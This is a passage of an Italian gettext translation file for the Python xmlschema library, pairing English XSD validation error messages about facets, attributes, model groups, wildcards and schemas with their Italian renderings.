illegal restriction" +msgstr "il gruppo ridefinito è una restrizione illegale" + +#: xmlschema/validators/global_maps.py:717 +msgid "the derived group is an illegal restriction" +msgstr "il gruppo derivato è una restrizione illegale" + +#: xmlschema/validators/global_maps.py:727 +msgid "restriction has an open content but base type has not" +msgstr "la restrizione ha un contenuto aperto ma il tipo di base no" + +#: xmlschema/validators/global_maps.py:733 +msgid "" +"can't verify the content model of {!r} due to exceeding of maximum recursion " +"depth" +msgstr "" +"impossibile verificare il modello di contenuto di {!r} a causa del " +"superamento della profondità massima di ricorsione" + +#: xmlschema/validators/facets.py:63 +msgid "invalid type {!r} provided" +msgstr "tipo non valido {!r} fornito" + +#: xmlschema/validators/facets.py:84 +msgid "{0!r} facet value is fixed to {1!r}" +msgstr "il valore della facet {0!r} è fissato a {1!r}" + +#: xmlschema/validators/facets.py:135 xmlschema/validators/facets.py:138 +msgid "facet value can be only 'collapse'" +msgstr "il valore della facet può essere solo 'collapse'" + +#: xmlschema/validators/facets.py:140 +msgid "facet value can be only 'replace' or 'collapse'" +msgstr "il valore della facet può essere solo 'replace' o 'collapse'" + +#: xmlschema/validators/facets.py:145 +msgid "value contains tabs or newlines" +msgstr "il valore contiene tabulazioni o nuove righe" + +#: xmlschema/validators/facets.py:151 +msgid "value contains non collapsed white spaces" +msgstr "il valore contiene spazi bianchi non compressi" + +#: xmlschema/validators/facets.py:175 +msgid "base facet has a different length ({})" +msgstr "la facet di base ha una lunghezza diversa ({})" + +#: xmlschema/validators/facets.py:185 +msgid "length has to be {!r}" +msgstr "la lunghezza deve essere {!r}" + +#: xmlschema/validators/facets.py:209 +msgid "base facet has a greater min length ({})" +msgstr "la facet di base ha una lunghezza minima maggiore ({})" + +#: xmlschema/validators/facets.py:219 +msgid "value length cannot be lesser than {!r}" +msgstr "la lunghezza del valore non può essere inferiore a {!r}" + +#: xmlschema/validators/facets.py:243 +msgid "base type has a lesser max length ({})" +msgstr "il tipo di base ha una lunghezza massima inferiore ({})" + +#: xmlschema/validators/facets.py:253 +msgid "value length cannot be greater than {!r}" +msgstr "la lunghezza del valore non può essere maggiore di {!r}" + +#: xmlschema/validators/facets.py:276 xmlschema/validators/facets.py:307 +#: xmlschema/validators/facets.py:342 xmlschema/validators/facets.py:373 +msgid "invalid restriction: {}" +msgstr "restrizione non valida: {}" + +#: xmlschema/validators/facets.py:281 +msgid "value has to be greater or equal than {!r}" +msgstr "il valore deve essere maggiore o uguale a {!r}" + +#: xmlschema/validators/facets.py:311 +msgid "invalid restriction: {} is also the maximum" +msgstr "restrizione non valida: {} è anche il massimo" + +#: xmlschema/validators/facets.py:317 +msgid "value has to be greater than {!r}" +msgstr "il valore deve essere maggiore di {!r}" + +#: xmlschema/validators/facets.py:347 +msgid "value has to be less than or equal than {!r}" +msgstr "il valore deve essere minore o uguale a {!r}" + +#: xmlschema/validators/facets.py:377 +msgid "invalid restriction: {} is also the minimum" +msgstr "restrizione non valida: {} è anche il minimo" + +#: xmlschema/validators/facets.py:383 +msgid "value has to be lesser than {!r}" +msgstr "il valore deve essere inferiore a {!r}" + +#: xmlschema/validators/facets.py:418 xmlschema/validators/facets.py:475 +msgid "invalid restriction: base value is lower ({})" +msgstr "restrizione non valida: il valore di base è inferiore ({})" + +#: xmlschema/validators/facets.py:428 +msgid "the number of digits has to be lesser or equal than {!r}" +msgstr "il numero di cifre deve essere minore o uguale a {!r}" + +#: xmlschema/validators/facets.py:456 +msgid "" +"fractionDigits facet can be applied only to types derived from xs:decimal" +msgstr "" +"la facet fractionDigits può essere applicata solo ai tipi derivati da xs:" +"decimal" + +#: xmlschema/validators/facets.py:470 +msgid "fractionDigits facet value must be 0 for types derived from xs:integer" +msgstr "" +"il valore della facet fractionDigits deve essere 0 per i tipi derivati da xs:" +"integer" + +#: xmlschema/validators/facets.py:485 +msgid "the number of fraction digits has to be lesser or equal than {!r}" +msgstr "il numero di cifre della frazione deve essere minore o uguale a {!r}" + +#: xmlschema/validators/facets.py:517 +msgid "invalid restriction from {!r}" +msgstr "restrizione non valida da {!r}" + +#: xmlschema/validators/facets.py:522 +msgid "time zone required for value {!r}" +msgstr "fuso orario richiesto per il valore {!r}" + +#: xmlschema/validators/facets.py:527 +msgid "time zone prohibited for value {!r}" +msgstr "fuso orario vietato per il valore {!r}" + +#: xmlschema/validators/facets.py:571 +msgid "value {!r} must match a notation declaration" +msgstr "il valore {!r} deve corrispondere a una dichiarazione di notazione" + +#: xmlschema/validators/facets.py:629 +msgid "value must be one of {!r}" +msgstr "il valore deve essere uno di {!r}" + +#: xmlschema/validators/facets.py:725 +msgid "value doesn't match any pattern of {!r}" +msgstr "il valore non corrisponde a nessun pattern di {!r}" + +#: xmlschema/validators/facets.py:789 +msgid "missing attribute 'test'" +msgstr "attributo mancante 'test'" + +#: xmlschema/validators/facets.py:819 +msgid "value is not true with test path {!r}" +msgstr "il valore non è vero con il test path {!r}" + +#: xmlschema/validators/attributes.py:82 +msgid "unknown attribute {!r}" +msgstr "attributo sconosciuto {!r}" + +#: xmlschema/validators/attributes.py:97 +msgid "referenced attribute has a different fixed value {!r}" +msgstr "l'attributo riferito ha un valore fisso diverso {!r}" + +#: xmlschema/validators/attributes.py:102 +msgid "attribute {!r} is not allowed when attribute reference is used" +msgstr "" +"l'attributo {!r} non è consentito quando si utilizza un riferimento ad " +"attributo" + +#: xmlschema/validators/attributes.py:118 +msgid "an attribute name must be different from 'xmlns'" +msgstr "un nome di attributo deve essere diverso da 'xmlns'" + +#: xmlschema/validators/attributes.py:125 +#, python-format +msgid "cannot add attributes in %r namespace" +msgstr "impossibile aggiungere attributi nello spazio dei nomi %r" + +#: xmlschema/validators/attributes.py:146 +msgid "ambiguous type definition for XSD attribute" +msgstr "definizione di tipo ambigua per l'attributo XSD" + +#: xmlschema/validators/attributes.py:158 +msgid "XSD attribute's type must be a simpleType" +msgstr "il tipo di un attributo XSD deve essere un simpleType" + +#: xmlschema/validators/attributes.py:169 +msgid "" +"the attribute 'use' must be 'optional' if the attribute 'default' is present" +msgstr "" +"l'attributo 'use' deve essere 'optional' se è presente l'attributo 'default'" + +#: xmlschema/validators/attributes.py:174 +msgid "default value {!r} is not compatible with attribute's type" +msgstr "il valore di default {!r} non è compatibile con il tipo dell'attributo" + +#: xmlschema/validators/attributes.py:177 +msgid "xs:ID key attributes cannot have a default value" +msgstr "gli attributi chiave xs:ID non possono avere un valore predefinito" + +#: xmlschema/validators/attributes.py:183 +msgid "fixed value {!r} is not compatible with attribute's type" +msgstr "il valore fisso {!r} non è compatibile con il tipo dell'attributo" + +#: xmlschema/validators/attributes.py:186 +msgid "xs:ID key attributes cannot have a fixed value" +msgstr "gli attributi chiave xs:ID non possono avere un valore fisso" + +#: xmlschema/validators/attributes.py:249 +msgid "attribute {0!r} has a fixed value {1!r}" +msgstr "l'attributo {0!r} ha un valore fisso {1!r}" + +#: xmlschema/validators/attributes.py:254 +msgid "attribute {0}={1!r}: {2}" +msgstr "attributo {0}={1!r}: {2}" + +#: xmlschema/validators/attributes.py:319 +msgid "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" +msgstr "l'attributo 'fixed' con use=prohibited non è consentito in XSD 1.1" + +#: xmlschema/validators/attributes.py:413 +msgid "more anyAttribute declarations in the same attribute group" +msgstr "più dichiarazioni anyAttribute nello stesso gruppo di attributi" + +#: xmlschema/validators/attributes.py:416 +msgid "another declaration after anyAttribute" +msgstr "un'altra dichiarazione dopo anyAttribute" + +#: xmlschema/validators/attributes.py:431 +msgid "multiple declaration for attribute {!r}" +msgstr "dichiarazione multipla per l'attributo {!r}" + +#: xmlschema/validators/attributes.py:440 +msgid "the attribute 'ref' is required in a local attributeGroup" +msgstr "l'attributo 'ref' è richiesto in un attributeGroup locale" + +#: xmlschema/validators/attributes.py:450 +msgid "duplicated attributeGroup {!r}" +msgstr "attributeGroup {!r} duplicato" + +#: xmlschema/validators/attributes.py:456 +msgid "in a redefinition the reference to itself must be the first" +msgstr "in una ridefinizione il riferimento a se stesso deve essere il primo" + +#: xmlschema/validators/attributes.py:467 +msgid "attributeGroup ref={!r} is not in the redefined group" +msgstr "attributeGroup ref={!r} non è nel gruppo ridefinito" + +#: xmlschema/validators/attributes.py:471 +msgid "Circular attribute groups not allowed in XSD 1.0" +msgstr "Gruppi di attributi circolari non consentiti in XSD 1.0" + +#: xmlschema/validators/attributes.py:479 +msgid "unknown attribute group {!r}" +msgstr "gruppo di attributi sconosciuto {!r}" + +#: xmlschema/validators/attributes.py:488 +msgid "multiple declaration of attribute {!r}" +msgstr "dichiarazione multipla dell'attributo {!r}" + +#: xmlschema/validators/attributes.py:497 +msgid "Circular reference found between attribute groups {0!r} and {1!r}" +msgstr "Riferimento circolare trovato tra i gruppi di attributi {0!r} e {1!r}" + +#: xmlschema/validators/attributes.py:502 +msgid "(attribute | attributeGroup) expected, found {!r}." +msgstr "(attribute | attributeGroup) previsto, trovato {!r}." + +#: xmlschema/validators/attributes.py:513 +msgid "Unexpected attribute {!r} in restriction" +msgstr "Attributo imprevisto {!r} in restrizione" + +#: xmlschema/validators/attributes.py:529 +msgid "Attribute wildcard is not a restriction of the base wildcard" +msgstr "La wildcard attributo non è una restrizione della wildcard di base" + +#: xmlschema/validators/attributes.py:539 +msgid "Attribute type is not a restriction of the base attribute type" +msgstr "" +"Il tipo dell'attributo non è una restrizione del tipo dell'attributo di base" + +#: xmlschema/validators/attributes.py:544 +msgid "Attribute {!r}: unmatched attribute use in restriction" +msgstr "Attributo {!r}: attributo 'use' non corrispondente nella restrizione" + +#: xmlschema/validators/attributes.py:550 +msgid "Attribute {!r}: derived attribute has a different fixed value" +msgstr "Attributo {!r}: l'attributo derivato ha un valore fisso diverso" + +#: xmlschema/validators/attributes.py:554 +msgid "Attribute {!r}: 'inheritable' property change in restriction" +msgstr "" +"Attributo {!r}: modifica della proprietà 'inheritable' nella restrizione" + +#: xmlschema/validators/attributes.py:568 +msgid "Missing required attribute {!r} in redefinition restriction" +msgstr "" +"Attributo obbligatorio {!r} mancante nella restrizione di ridefinizione" + +#: xmlschema/validators/attributes.py:573 +msgid "Attribute {!r}: unmatched attribute use in redefinition" +msgstr "" +"Attributo {!r}: utilizzo di attributi non corrispondenti nella ridefinizione" + +#: xmlschema/validators/attributes.py:576 +msgid "Attribute {!r}: redefinition remove fixed constraint" +msgstr "Attributo {!r}: la ridefinizione rimuove il vincolo fixed" + +#: xmlschema/validators/attributes.py:585 +msgid "Redefinition restriction contains additional attribute {!r}" +msgstr "La restrizione di ridefinizione contiene un attributo aggiuntivo {!r}" + +#: xmlschema/validators/attributes.py:589 +msgid "Wrong attribute order in redefinition restriction" +msgstr "Ordine degli attributi errato nella restrizione di ridefinizione" + +#: xmlschema/validators/attributes.py:607 +msgid "multiple ID attributes not allowed for XSD 1.0" +msgstr "attributi ID multipli non consentiti per XSD 1.0" + +#: xmlschema/validators/attributes.py:660 +#: xmlschema/validators/attributes.py:738 +msgid "missing required attribute {!r}" +msgstr "attributo richiesto {!r} mancante" + +#: xmlschema/validators/attributes.py:695 +#: xmlschema/validators/attributes.py:760 +#, python-format +msgid "%r is not an attribute of the XSI namespace" +msgstr "%r non è un attributo dello spazio dei nomi XSI" + +#: xmlschema/validators/attributes.py:703 +#: xmlschema/validators/attributes.py:768 +#, python-format +msgid "%r attribute not allowed for element" +msgstr "l'attributo %r non è consentito per l'elemento" + +#: xmlschema/validators/attributes.py:709 +#, python-format +msgid "use of attribute %r is prohibited" +msgstr "l'uso dell'attributo %r è vietato" + +#: xmlschema/validators/exceptions.py:345 +#, python-format +msgid "Unexpected child with tag %r at position %d." +msgstr "Figlio imprevisto con tag %r alla posizione %d." + +#: xmlschema/validators/exceptions.py:372 +#, python-format +msgid " Tag (%s) expected." +msgstr " Previsto tag (%s)." + +#: xmlschema/validators/exceptions.py:374 +#, python-format +msgid " Tag %s expected." +msgstr " Previsto tag %s." + +#: xmlschema/validators/exceptions.py:376 +#, python-format +msgid " Tag %r expected." +msgstr " Previsto tag %r." + +#: xmlschema/validators/groups.py:355 +msgid "{!r} is not a particle of the model group" +msgstr "{!r} non è una particella del gruppo di modelli" + +#: xmlschema/validators/groups.py:413 xmlschema/validators/groups.py:455 +msgid "attribute 'name' not allowed in a local group" +msgstr "l'attributo 'nome' non è consentito in un gruppo locale" + +#: xmlschema/validators/groups.py:422 +#, python-format +msgid "missing group %r" +msgstr "gruppo mancante %r" + +#: xmlschema/validators/groups.py:429 xmlschema/validators/groups.py:485 +msgid "maxOccurs must be 1 for 'all' model groups" +msgstr "maxOccurs deve essere 1 per i gruppi modello 'all'" + +#: xmlschema/validators/groups.py:432 xmlschema/validators/groups.py:488 +#: xmlschema/validators/groups.py:1285 +msgid "minOccurs must be (0 | 1) for 'all' model groups" +msgstr "minOccurs deve essere (0 | 1) per i gruppi modello 'all'" + +#: xmlschema/validators/groups.py:435 +msgid "in XSD 1.0 an 'all' model group cannot be nested" +msgstr "in XSD 1.0 un gruppo di modelli 'all' non può essere nidificato" + +#: xmlschema/validators/groups.py:441 xmlschema/validators/groups.py:523 +#: xmlschema/validators/groups.py:1317 +#, python-format +msgid "Circular definition detected for group %r" +msgstr "Rilevata definizione circolare per il gruppo %r" + +#: xmlschema/validators/groups.py:459 xmlschema/validators/groups.py:469 +msgid "attribute 'minOccurs' not allowed in a global group" +msgstr "l'attributo 'minOccurs' non è consentito in un gruppo globale" + +#: xmlschema/validators/groups.py:462 xmlschema/validators/groups.py:472 +msgid "attribute 'maxOccurs' not allowed in a global group" +msgstr "l'attributo 'maxOccurs' non è consentito in un gruppo globale" + +#: xmlschema/validators/groups.py:499 +msgid "'all' model can contain only elements" +msgstr "un modello 'all' può contenere solo elementi" + +#: xmlschema/validators/groups.py:509 xmlschema/validators/groups.py:1301 +msgid "missing attribute 'ref' in local group" +msgstr "attributo mancante 'ref' in gruppo locale" + +#: xmlschema/validators/groups.py:518 +msgid "'all' model can appears only at 1st level of a model group" +msgstr "" +"un modello 'all' può apparire solo al 1° livello di un gruppo di modelli" + +#: xmlschema/validators/groups.py:527 xmlschema/validators/groups.py:1321 +msgid "Redefined group reference cannot have minOccurs/maxOccurs other than 1" +msgstr "" +"il riferimento al gruppo ridefinito non può avere minOccurs/maxOccurs " +"diverso da 1" + +#: xmlschema/validators/groups.py:821 +msgid "" +"Element Declarations Consistent violation between {0!r} and {1!r}: match the " +"same name but with different types" +msgstr "" +"violazione della consistenza della dichiarazione degli elementi tra {0!r} e " +"{1!r}: corrispondenza del nome ma con tipi diversi" + +#: xmlschema/validators/groups.py:835 +msgid "{0!r} and {1!r} overlap and are in the same {2!r} group" +msgstr "{0!r} e {1!r} si sovrappongono e sono nello stesso gruppo {2!r}" + +#: xmlschema/validators/groups.py:847 +msgid "Unique Particle Attribution violation between {0!r} and {1!r}" +msgstr "violazione dell'attribuzione di particelle univoche tra {0!r} e {1!r}" + +#: xmlschema/validators/groups.py:860 +#, python-format +msgid "substitution of %r is blocked" +msgstr "la sostituzione di %r è bloccata" + +#: xmlschema/validators/groups.py:909 +msgid "usage of {0!r} with type {1} is blocked by head element" +msgstr "l'utilizzo di {0!r} con tipo {1} è bloccato dall'elemento di testa" + +#: xmlschema/validators/groups.py:934 +msgid "{0!r} that matches {1!r} is not consistent with local declaration {2!r}" +msgstr "" +"{0!r} che corrisponde a {1!r} non è coerente con la dichiarazione locale {2!" +"r}" + +#: xmlschema/validators/groups.py:940 +msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}." +msgstr "" +"Forse una tabella di tipo non equivalente tra gli elementi {0!r} e {1!r}." + +#: xmlschema/validators/groups.py:970 +msgid "an empty 'choice' group with minOccurs > 0 cannot validate any content" +msgstr "" +"un gruppo 'choice' vuoto con minOccurs > 0 non può convalidare alcun " +"contenuto" + +#: xmlschema/validators/groups.py:982 xmlschema/validators/groups.py:1242 +msgid "character data between child elements not allowed" +msgstr "caratteri tra elementi figlio non consentiti" + +#: xmlschema/validators/groups.py:995 +#, python-format +msgid "XML data depth exceeded (MAX_XML_DEPTH=%r)" +msgstr "profondità dei dati XML superata (MAX_XML_DEPTH=%r)" + +#: xmlschema/validators/groups.py:1202 +msgid "{!r} does not match any declared element of the model group" +msgstr "" +"{!r} non corrisponde a nessun elemento dichiarato del gruppo di modelli" + +#: xmlschema/validators/groups.py:1205 +msgid "{0} has an unknown prefix {1!r}" +msgstr "{0} ha un prefisso sconosciuto {1!r}" + +#: xmlschema/validators/groups.py:1238 +msgid "wrong content type {!r}" +msgstr "tipo di contenuto sbagliato {!r}" + +#: xmlschema/validators/groups.py:1282 +msgid "maxOccurs must be (0 | 1) for 'all' model groups" +msgstr "maxOccurs deve essere (0 | 1) per i gruppi con modello 'all'" + +#: xmlschema/validators/groups.py:1311 +#, python-brace-format +msgid "an xs:{0} group cannot include a reference to an xs:{1} group" +msgstr "un gruppo xs:{0} non può includere un riferimento a un gruppo xs:{1}" + +#: xmlschema/validators/wildcards.py:76 +#, python-format +msgid "wrong value %r in 'namespace' attribute" +msgstr "valore errato %r nell'attributo 'namespace'" + +#: xmlschema/validators/wildcards.py:85 +#, python-format +msgid "wrong value %r for 'processContents' attribute" +msgstr "valore errato %r per l'attributo 'processContents'" + +#: xmlschema/validators/wildcards.py:94 +msgid "'namespace' and 'notNamespace' attributes are mutually exclusive" +msgstr "gli attributi 'namespace' e 'notNamespace' sono mutuamente esclusivi" + +#: xmlschema/validators/wildcards.py:105 +#, python-format +msgid "wrong value %r in 'notNamespace' attribute" +msgstr "valore errato %r nell'attributo 'notNamespace'" + +#: xmlschema/validators/wildcards.py:121 +msgid "wrong value for 'notQName' attribute" +msgstr "valore errato per l'attributo 'notQName'" + +#: xmlschema/validators/wildcards.py:128 +#, python-format +msgid "unmapped QName in 'notQName' attribute: %s" +msgstr "QName non mappato nell'attributo 'notQName': %s" + +#: xmlschema/validators/wildcards.py:132 +#, python-format +msgid "wrong QName format in 'notQName' attribute: %s" +msgstr "formato QName errato nell'attributo 'notQName': %s" + +#: xmlschema/validators/wildcards.py:140 +msgid "the namespace of each QName in notQName is allowed by notNamespace" +msgstr "" +"lo spazio dei nomi di ogni QName in notQName è consentito da notNamespace" + +#: xmlschema/validators/wildcards.py:144 +msgid "names in notQName must be in namespaces that are allowed" +msgstr "i nomi in notQName devono trovarsi negli spazi dei nomi consentiti" + +#: xmlschema/validators/wildcards.py:319 +msgid "not expressible wildcard namespace union: {0!r} V {1!r}:" +msgstr "unione di spazi dei nomi di wildcard non esprimibile: {0!r} V {1!r}:" + +#: xmlschema/validators/wildcards.py:473 xmlschema/validators/wildcards.py:515 +msgid "element {!r} is not allowed here" +msgstr "l'elemento {!r} non è consentito qui" + +#: xmlschema/validators/wildcards.py:651 xmlschema/validators/wildcards.py:681 +#, python-format +msgid "attribute %r not allowed" +msgstr "attributo %r non consentito" + +#: xmlschema/validators/wildcards.py:663 xmlschema/validators/wildcards.py:693 +#, python-format +msgid "attribute %r not found" +msgstr "attributo %r non trovato" + +#: xmlschema/validators/wildcards.py:670 xmlschema/validators/wildcards.py:700 +msgid "unavailable namespace {!r}" +msgstr "" + +#: xmlschema/validators/wildcards.py:857 +#, python-format +msgid "wrong value %r for 'mode' attribute" +msgstr "valore errato %r per l'attributo 'mode'" + +#: xmlschema/validators/wildcards.py:863 +msgid "" +"an openContent with mode='none' cannot have an <xs:any> child declaration" +msgstr "" +"un openContent con mode='none' non può avere una dichiarazione figlio <xs:" +"any>" + +#: xmlschema/validators/wildcards.py:867 +msgid "an <xs:any> child declaration is required" +msgstr "è richiesta una dichiarazione figlio <xs:any>" + +#: xmlschema/validators/wildcards.py:908 +msgid "defaultOpenContent must be a child of the schema" +msgstr "defaultOpenContent deve essere un figlio dello schema" + +#: xmlschema/validators/wildcards.py:911 +msgid "the attribute 'mode' of a defaultOpenContent cannot be 'none'" +msgstr "l'attributo 'mode' di un defaultOpenContent non può essere 'none'" + +#: xmlschema/validators/wildcards.py:914 +msgid "a defaultOpenContent declaration cannot be empty" +msgstr "una dichiarazione defaultOpenContent non può essere vuota" + +#: xmlschema/validators/schemas.py:156 +msgid "XSD_VERSION must be '1.0' or '1.1'" +msgstr "XSD_VERSION deve essere '1.0' o '1.1'" + +#: xmlschema/validators/schemas.py:336 +msgid "{!r} is not a valid loglevel" +msgstr "{!r} non è un loglevel valido" + +#: xmlschema/validators/schemas.py:352 +msgid "no XSD source provided!" +msgstr "nessun sorgente XSD fornito!" + +#: xmlschema/validators/schemas.py:380 +msgid "the attribute 'targetNamespace' cannot be an empty string" +msgstr "l'attributo 'targetNamespace' non può essere una stringa vuota" + +#: xmlschema/validators/schemas.py:383 +msgid "wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}" +msgstr "spazio dei nomi errato ({0!r} invece di {1!r}) per la risorsa XSD {2}" + +#: xmlschema/validators/schemas.py:460 +#, python-format +msgid "'global_maps' argument must be an %r instance" +msgstr "l'argomento 'global_maps' deve essere un'istanza %r" + +#: xmlschema/validators/schemas.py:542 +msgid "cannot change the global maps instance of a meta-schema" +msgstr "" +"non è possibile modificare l'istanza delle mappe globali di un meta-schema" + +#: xmlschema/validators/schemas.py:675 xmlschema/validators/schemas.py:970 +#, python-format +msgid "meta-schema unavailable for %r" +msgstr "meta-schema non disponibile per %r" + +#: xmlschema/validators/schemas.py:682 +msgid "missing XSD namespace in meta-schema" +msgstr "spazio dei nomi XSD mancante nel meta-schema" + +#: xmlschema/validators/schemas.py:754 +msgid "Missing meta-schema source URL" +msgstr "URL di origine del meta-schema mancante" + +#: xmlschema/validators/schemas.py:766 +#, fuzzy +msgid "" +"The argument 'base_schemas' must be a dictionary or a sequence of couples" +msgstr "" +"l'argomento 'base_schemas' deve essere un dizionario o una sequenza di coppie" + +#: xmlschema/validators/schemas.py:803 xmlschema/validators/schemas.py:815 +msgid "(restriction | list | union) expected" +msgstr "previsto (restriction | list | union)" + +#: xmlschema/validators/schemas.py:826 +msgid "missing attribute 'name' in a global simpleType" +msgstr "attributo 'name' mancante in un simpleType globale" + +#: xmlschema/validators/schemas.py:831 +msgid "attribute 'name' not allowed for a local simpleType" +msgstr "l'attributo 'name' non è consentito per un simpleType locale" + +#: xmlschema/validators/schemas.py:875 +msgid "'model' argument must be (sequence | choice | all)" +msgstr "l'argomento 'model' deve essere (sequence | choice | all)" + +#: xmlschema/validators/schemas.py:990 +#, python-format +msgid "schema %r is not built" +msgstr "lo schema %r non è costruito" + +#: xmlschema/validators/schemas.py:1095 +msgid "the namespace {!r} is not loaded" +msgstr "lo spazio dei nomi {!r} non è caricato" + +#: xmlschema/validators/schemas.py:1117 +msgid "'converter' argument must be a {0!r} subclass or instance: {1!r}" +msgstr "" +"l'argomento 'converter' deve essere una sottoclasse o un'istanza di {0!r}: " +"{1!r}" + +#: xmlschema/validators/schemas.py:1172 +msgid "cannot include schema {0!r}: {1}" +msgstr "impossibile includere lo schema {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1186 +#, python-format +msgid "Redefine schema failed: %s" +msgstr "Ridefinizione dello schema non riuscita: %s" + +#: xmlschema/validators/schemas.py:1191 +msgid "cannot redefine schema {0!r}: {1}" +msgstr "impossibile ridefinire lo schema {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1207 +#, python-format +msgid "Override schema failed: %s" +msgstr "Sovrascrittura dello schema non riuscita: %s" + +#: xmlschema/validators/schemas.py:1269 +msgid "" +"if the 'namespace' attribute is not present on the import statement then the " +"imported schema must have a 'targetNamespace'" +msgstr "" +"se l'attributo 'namespace' non è presente nell'istruzione import, lo schema " +"importato deve avere un 'targetNamespace'" + +#: xmlschema/validators/schemas.py:1275 +msgid "" +"the attribute 'namespace' must be different from schema's 'targetNamespace'" +msgstr "" +"l'attributo 'namespace' deve essere diverso dal 'targetNamespace' dello " +"schema" + +#: xmlschema/validators/schemas.py:1322 +msgid "cannot import namespace {0!r}: {1}" +msgstr "impossibile importare lo spazio dei nomi {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1324 +#, python-format +msgid "cannot import chameleon schema: %s" +msgstr "impossibile importare lo schema camaleonte: %s" + +#: xmlschema/validators/schemas.py:1388 +msgid "imported schema {0!r} has an unmatched namespace {1!r}" +msgstr "" +"lo schema importato {0!r} ha uno spazio dei nomi non corrispondente {1!r}" + +#: xmlschema/validators/schemas.py:1435 +msgid "target directory {} is not empty" +msgstr "la directory target {} non è vuota" + +#: xmlschema/validators/schemas.py:1438 +msgid "target {} is not a directory" +msgstr "il target {} non è una directory" + +#: xmlschema/validators/schemas.py:1441 +msgid "target parent directory {} does not exist" +msgstr "la directory {} parent del target non esiste" + +#: xmlschema/validators/schemas.py:1444 +msgid "target parent {} is not a directory" +msgstr "la directory {} parent del target non è una directory" + +#: xmlschema/validators/schemas.py:1537 +msgid "invalid attribute vc:minVersion value" +msgstr "valore non valido per l'attributo vc:minVersion" + +#: xmlschema/validators/schemas.py:1546 +msgid "invalid attribute vc:maxVersion value" +msgstr "valore non valido per l'attributo vc:maxVersion" + +#: xmlschema/validators/schemas.py:1622 xmlschema/validators/schemas.py:1629 +#: xmlschema/validators/schemas.py:1635 +msgid "{!r} is not a valid value for xs:QName" +msgstr "{!r} non è un valore valido per xs:QName" + +#: xmlschema/validators/schemas.py:1641 +msgid "prefix {!r} not found in namespace map" +msgstr "prefisso {!r} non trovato nella mappa degli spazi dei nomi" + +#: xmlschema/validators/schemas.py:1648 +msgid "" +"the QName {!r} is mapped to no namespace, but this requires that there is an " +"xs:import statement in the schema without the 'namespace' attribute." +msgstr "" +"il QName {!r} non è mappato su alcuno spazio dei nomi, ma ciò richiede che " +"sia presente un'istruzione xs:import nello schema senza l'attributo " +"'namespace'." + +#: xmlschema/validators/schemas.py:1657 +msgid "" +"the QName {0!r} is mapped to the namespace {1!r}, but this namespace has not " +"an xs:import statement in the schema." +msgstr "" +"il QName {0!r} è mappato allo spazio dei nomi {1!r}, ma questo spazio dei " +"nomi non ha un'istruzione xs:import nello schema." + +#: xmlschema/validators/schemas.py:1798 xmlschema/validators/schemas.py:1852 +#: xmlschema/validators/schemas.py:1997 +msgid "{!r} is not an element of the schema" +msgstr "{!r} non è un elemento dello schema" + +#: xmlschema/validators/schemas.py:1826 +#, python-format +msgid "IDREF %r not found in XML document" +msgstr "IDREF %r non trovato nel documento XML" + +#: xmlschema/validators/schemas.py:2076 +msgid "encoding needs at least one XSD element declaration" +msgstr "la codifica richiede almeno una dichiarazione di elemento XSD" + +#: xmlschema/validators/schemas.py:2110 +#, python-format +msgid "the path %r doesn't match any element of the schema!" +msgstr "il path %r non corrisponde a nessun elemento dello schema!" + +#: xmlschema/validators/schemas.py:2112 +msgid "" +"unable to select an element for decoding data, provide a valid 'path' " +"argument." +msgstr "" +"impossibile selezionare un elemento per la decodifica dei dati, fornire un " +"argomento 'path' valido." + +#: xmlschema/validators/simple_types.py:133 +msgid "facets not allowed for a direct derivation of xs:anySimpleType" +msgstr "facet non consentite per una derivazione diretta di xs:anySimpleType" + +#: xmlschema/validators/simple_types.py:137 +msgid "facets not allowed for a direct content derivation of xs:anySimpleType" +msgstr "" +"facet non consentite per una derivazione diretta del contenuto di xs:" +"anySimpleType" + +#: xmlschema/validators/simple_types.py:143 +msgid "one or more facets are not applicable, admitted set is {!r}" +msgstr "una o più facet non sono applicabili, l'insieme ammesso è {!r}" + +#: xmlschema/validators/simple_types.py:149 +#, python-format +msgid "facet group must have the same base type: %r" +msgstr "il gruppo di vincoli facet deve avere lo stesso tipo di base: %r" + +#: xmlschema/validators/simple_types.py:159 +#, fuzzy +msgid "'length' value must be non a negative integer" +msgstr "il valore di 'length' deve essere un numero intero non negativo" + +#: xmlschema/validators/simple_types.py:163 +msgid "'minLength' value must be less than or equal to 'length'" +msgstr "il valore di 'minLength' deve essere minore o uguale a 'length'" + +#: xmlschema/validators/simple_types.py:170 +msgid "cannot specify both 'length' and 'minLength'" +msgstr "non si può specificare sia 'length' che 'minLength'" + +#: xmlschema/validators/simple_types.py:175 +msgid "'maxLength' value must be greater or equal to 'length'" +msgstr "il valore di 'maxLength' deve essere maggiore o uguale a 'length'" + +#: xmlschema/validators/simple_types.py:183 +msgid "cannot specify both 'length' and 'maxLength'" +msgstr "non si può specificare sia 'length' che 'maxLength'" + +#: xmlschema/validators/simple_types.py:192 +msgid "'minLength' value must be a non negative integer" +msgstr "il valore di 'minLength' deve essere un numero intero non negativo" + +#: xmlschema/validators/simple_types.py:195 +msgid "'maxLength' value is less than 'minLength'" +msgstr "il valore di 'maxLength' è minore di 'minLength'" + +#: xmlschema/validators/simple_types.py:198 +msgid "'minLength' has a lesser value than parent" +msgstr "'minLength' ha un valore minore del genitore" + +#: xmlschema/validators/simple_types.py:201 +msgid "'minLength' has a greater value than parent 'maxLength'" +msgstr "'minLength' ha un valore maggiore di 'maxLength' del genitore" + +#: xmlschema/validators/simple_types.py:206 +#, fuzzy +msgid "'maxLength' value must be a non negative integer" +msgstr "il valore 'maxLength' deve essere un numero intero non negativo" + +#: xmlschema/validators/simple_types.py:209 +msgid "'maxLength' has a lesser value than parent 'minLength'" +msgstr "'maxLength' ha un valore inferiore rispetto a 'minLength' del genitore" + +#: xmlschema/validators/simple_types.py:212 +msgid "'maxLength' has a greater value than parent" +msgstr "'maxLength' ha un valore maggiore del genitore" + +#: xmlschema/validators/simple_types.py:223 +msgid "cannot specify both 'minInclusive' and 'minExclusive'" +msgstr "non è possibile specificare sia 'minInclusive' che 'minExclusive'" + +#: xmlschema/validators/simple_types.py:226 +msgid "'minInclusive' must be less or equal to 'maxInclusive'" +msgstr "'minInclusive' deve essere minore o uguale a 'maxInclusive'" + +#: xmlschema/validators/simple_types.py:229 +msgid "'minInclusive' must be lesser than 'maxExclusive'" 